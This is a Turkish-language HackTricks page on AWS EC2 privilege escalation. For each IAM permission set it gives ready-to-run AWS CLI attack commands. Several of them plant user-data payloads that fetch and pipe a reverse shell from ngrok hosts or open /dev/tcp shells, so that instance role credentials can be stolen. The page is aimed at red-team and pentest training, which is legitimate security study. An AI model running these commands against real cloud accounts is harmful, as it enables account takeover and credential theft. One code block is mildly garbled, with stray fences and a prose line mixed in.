AWS - EC2 Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

EC2

Daha fazla EC2 hakkında bilgi için şuraya bakın:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Bir saldırgan, bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından IAM rolü kimlik bilgilerini meta veri uç noktasından çalmak için örneğe erişebilir.

  • SSH üzerinden erişim

Yeni bir örnek çalıştırın ve bir oluşturulan ssh anahtarı (--key-name) ekleyin, ardından buna ssh ile erişin (yeni bir tane oluşturmak isterseniz ec2:CreateKeyPair iznine sahip olmanız gerekebilir).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Kullanıcı verisi ile ters kabuk erişimi

Bir kullanıcı verisi (--user-data) kullanarak size bir ters kabuk gönderecek yeni bir örnek çalıştırabilirsiniz. Bu şekilde güvenlik grubunu belirtmeniz gerekmez.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

IAM rolünün kimlik bilgilerini örneğin bir örneğin dışında kullanıyorsanız, GuradDuty'ye dikkat edin:

pageAWS - GuardDuty Enum

Potansiyel Etki: Mevcut örnek profillerine bağlı olan herhangi bir EC2 rolüne doğrudan ayrıcalık yükseltme.

ECS'ye Ayrıcalık Yükseltme

Bu izin setiyle ayrıca bir EC2 örneği oluşturabilir ve onu bir ECS kümesine kaydedebilirsiniz. Bu şekilde, ECS hizmetleri, erişiminiz olan EC2 örneğinde çalıştırılır ve ardından bu hizmetlere (docker konteynerlerine) sızabilir ve bağlı olan ECS rollerini çalabilirsiniz.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Bu yeni EC2 örneğinde ECS hizmetlerinin çalıştırılmasını zorlamayı öğrenmek için şu adrese bakın:

pageAWS - ECS Privesc

Eğer yeni bir örnek oluşturamıyorsanız ancak ecs:RegisterContainerInstance iznine sahipseniz, örneği küme içine kaydedebilir ve yorumlanan saldırıyı gerçekleştirebilirsiniz.

Potansiyel Etki: Görevlere bağlı ECS rollerine doğrudan ayrıcalık yükseltme.

iam:PassRole, iam:AddRoleToInstanceProfile

Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan, bir kompromize edilmiş örneğin IAM rolünü değiştirebilir ve yeni kimlik bilgilerini çalabilir. Bir örnek profili yalnızca 1 rol içerebilir, bu nedenle örnek profili zaten bir role sahipse (genel durum), ayrıca iam:RemoveRoleFromInstanceProfile iznine de ihtiyacınız olacaktır.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Eğer örnek profili bir role sahipse ve saldırgan onu kaldıramazsa, başka bir çözüm yolu vardır. Saldırgan, bir role sahip olmayan bir örnek profili bulabilir veya yeni bir tane oluşturabilir (iam:CreateInstanceProfile), role'ü o örnek profiline ekleyebilir (yukarıda tartışıldığı gibi) ve kompromize edilmiş bir örneğe kompromize edilmiş bir örnek profili atayabilir:

  • Eğer örneğin herhangi bir örnek profili yoksa (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potansiyel Etki: Farklı bir EC2 rolüne doğrudan ayrıcalık yükseltme (AWS EC2 örneğini ele geçirmiş olmanız ve ek izin veya belirli bir örnek profil durumu gerekmektedir).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Bu izinlerle bir örneğe ilişkilendirilen örnek profilini değiştirmek mümkündür, bu nedenle saldırgan bir örneğe zaten erişim sağlamışsa, onunla ilişkili olan örnek profil rollerinin kimlik bilgilerini çalabilir.

  • Eğer bir örnek profili varsa, örnek profili (ec2:DisassociateIamInstanceProfile) kaldırabilir ve ilişkilendirebilirsiniz *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • veya etkilenen örneğin örneğin profilini değiştirin (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<değer> --association-id <değer>
```
Bu komut, belirli bir IAM örneği profilinin bir EC2 örneğiyle ilişkilendirmesini değiştirmek için kullanılır. `--iam-instance-profile` parametresi, ilişkilendirilecek IAM örneği profilinin adını belirtirken, `--association-id` parametresi, değiştirilecek ilişkilendirme kimliğini belirtir.
```

Potansiyel Etki: Farklı bir EC2 rolüne doğrudan ayrıcalık yükseltme (AWS EC2 örneğini ele geçirmiş olmanız ve ek izin veya belirli bir örnek profil durumu gerekmektedir).

ec2:RequestSpotInstances,iam:PassRole

ec2:RequestSpotInstances ve iam:PassRole izinlerine sahip bir saldırgan, bir Spot Instance'a bağlı bir EC2 Rolü ve kullanıcı verilerinde bir ters kabuk ile bir Spot Instance talep edebilir. Örnek çalıştırıldığında, IAM rolünü çalabilir.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Bir saldırgan, ec2:ModifyInstanceAttribute yetkisine sahip olduğunda örnek özelliklerini değiştirebilir. Bunlar arasında, kullanıcı verilerini değiştirebilir, bu da örneğin keyfi veri çalıştırmasına izin verir. Bu, EC2 örneğine bir rev shell almak için kullanılabilir.

Özelliklerin yalnızca örnek durduğunda değiştirilebileceğini unutmayın, bu nedenle ec2:StopInstances ve ec2:StartInstances izinlerine sahip olmalıdır.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potansiyel Etki: Oluşturulan bir örneğe bağlı olan herhangi bir EC2 IAM Rolüne doğrudan ayrıcalık yükseltme.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateve ec2:ModifyLaunchTemplate izinlerine sahip bir saldırgan, kullanıcı verilerinde bir rev shell ile birlikte yeni bir Başlatma Şablonu sürümü oluşturabilir ve üzerinde herhangi bir EC2 IAM Rolü bulunabilir, varsayılan sürümü değiştirebilir ve bu Başlatma Şablonunu kullanan herhangi bir Otomatik Ölçeklendirme Grubu, en son veya varsayılan sürümü kullanacak şekilde yapılandırılmışsa, bu şablona dayalı örnekleri yeniden çalıştırır ve rev shell'i yürütür.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potansiyel Etki: Farklı bir EC2 rolüne doğrudan ayrıcalık yükseltme.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole izinlerine sahip bir saldırgan, bir IAM Rolü ve bir ters kabuk içeren bir Başlatma Yapılandırması oluşturabilir, ardından bu yapılandırmadan bir otomatik ölçeklendirme grubu oluşturabilir ve ters kabuğun IAM Rolünü çalmayı bekleyebilir.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potansiyel Etki: Farklı bir EC2 rolüne doğrudan ayrıcalık yükseltme.

!autoscaling

ec2:CreateLaunchTemplate ve autoscaling:CreateAutoScalingGroup izinleri, IAM rolüne ayrıcalık yükseltmek için yeterli değildir çünkü Başlatma Yapılandırması veya Başlatma Şablonu'nda belirtilen rolü eklemek için iam:PassRole ve ec2:RunInstances izinlerine ihtiyacınız vardır (bu bilinen bir ayrıcalık yükseltmedir).

ec2-instance-connect:SendSSHPublicKey

ec2-instance-connect:SendSSHPublicKey iznine sahip bir saldırgan, bir kullanıcıya bir ssh anahtarı ekleyebilir ve buna erişmek için (eğer örneğe ssh erişimi varsa) veya ayrıcalıkları yükseltmek için kullanabilir.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potansiyel Etki: Çalışan örneklerle ilişkilendirilmiş EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

ec2-instance-connect:SendSerialConsoleSSHPublicKey iznine sahip bir saldırgan, bir seri bağlantıya bir ssh anahtarı ekleyebilir. Seri bağlantı etkin değilse, saldırganın etkinleştirmek için ec2:EnableSerialConsoleAccess iznine ihtiyacı vardır.

Seri bağlantı noktasına bağlanmak için ayrıca makine içinde bir kullanıcının kullanıcı adı ve parolasını bilmek gerekmektedir.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Bu yöntem, onu sömürmek için bir kullanıcı adı ve şifre bilmeniz gerektiğinden dolayı privesc için çok kullanışlı değildir.

Potansiyel Etki: (Çok kanıtlanamaz) Çalışan örneklerle ilişkilendirilmiş EC2 IAM rollerine doğrudan privesc.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated